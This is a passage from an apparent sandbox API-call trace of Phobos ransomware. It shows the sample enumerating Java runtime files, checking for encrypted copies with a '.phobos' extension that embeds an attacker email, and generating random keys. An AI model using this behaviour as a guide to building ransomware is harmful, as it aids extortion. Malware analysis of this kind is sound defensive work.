(lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.294] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=220736) returned 1 [0125.294] CloseHandle (hObject=0x594) returned 1 [0125.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 0x20 [0125.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.294] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.295] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=16448) returned 1 [0125.295] CloseHandle (hObject=0x594) returned 1 [0125.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 0x20 [0125.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.295] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.297] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=16448) returned 1 [0125.297] CloseHandle (hObject=0x594) returned 1 [0125.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 0x20 [0125.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.298] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.298] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=16448) returned 1 [0125.298] CloseHandle (hObject=0x594) returned 1 [0125.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 0x20 [0125.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.298] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.298] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=16448) returned 1 [0125.298] CloseHandle (hObject=0x594) returned 1 [0125.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 0x20 [0125.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.299] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.299] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=233536) returned 1 [0125.299] CloseHandle (hObject=0x594) returned 1 [0125.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 0x20 [0125.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.300] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.300] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=36928) returned 1 [0125.300] CloseHandle (hObject=0x594) returned 1 [0125.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 0x20 [0125.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.300] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.301] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=653888) returned 1 [0125.301] CloseHandle (hObject=0x594) returned 1 [0125.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 0x20 [0125.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.301] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.301] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=660128) returned 1 [0125.301] CloseHandle (hObject=0x594) returned 1 [0125.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 0x20 [0125.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.302] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.302] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=829264) returned 1 [0125.302] CloseHandle (hObject=0x594) returned 1 [0125.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 0x20 [0125.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.302] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.302] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=963232) returned 1 [0125.302] CloseHandle (hObject=0x594) returned 1 [0125.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 0x20 [0125.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.303] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.303] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=96832) returned 1 [0125.303] CloseHandle (hObject=0x594) returned 1 [0125.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 0x20 [0125.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.304] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.304] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=60480) returned 1 [0125.304] CloseHandle (hObject=0x594) returned 1 [0125.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 0x20 [0125.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.304] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.304] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=19008) returned 1 [0125.304] CloseHandle (hObject=0x594) returned 1 [0125.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 0x20 [0125.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.305] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.305] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=16448) returned 1 [0125.305] CloseHandle (hObject=0x594) returned 1 [0125.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 0x20 [0125.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.305] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.305] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=16448) returned 1 [0125.305] CloseHandle (hObject=0x594) returned 1 [0125.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 0x20 [0125.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.306] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.306] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=829264) returned 1 [0125.306] CloseHandle (hObject=0x594) returned 1 [0125.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 0x20 [0125.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.307] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.308] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=234560) returned 1 [0125.308] CloseHandle (hObject=0x594) returned 1 [0125.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 0x20 [0125.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program 